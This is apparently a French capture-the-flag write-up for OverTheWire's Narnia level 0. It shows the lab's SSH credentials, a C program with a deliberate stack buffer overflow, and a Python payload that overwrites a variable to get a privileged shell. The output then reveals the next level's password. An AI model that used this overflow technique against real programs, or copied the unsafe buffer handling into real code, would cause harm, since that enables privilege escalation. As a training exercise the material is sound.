ssh narnia0@narnia.labs.overthewire.org
pass : narnia0

#include <stdio.h>
#include <stdlib.h>
 
int main(){
	long val=0x41414141;
	char buf[20];
 
	printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
	printf("Here is your chance: ");
	scanf("%24s",&buf);
 
	printf("buf: %s\n",buf);
	printf("val: 0x%08x\n",val);
 
	if(val==0xdeadbeef)
		system("/bin/sh");
	else {
		printf("WAY OFF!!!!\n");
		exit(1);
	}
 
	return 0;
}

Niveau relativement basique, il suffit d'écrire 0xdeadbeef dans la variable val.

$ (python -c 'print "A"*20+"\xef\xbe\xad\xde"'; cat) | ./narnia0 
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAﾭ?
val: 0xdeadbeef
id
uid=14000(narnia0) gid=14000(narnia0) euid=14001(narnia1) groups=14001(narnia1),14000(narnia0)
cat /etc/narnia_pass/narnia1
efeidiedae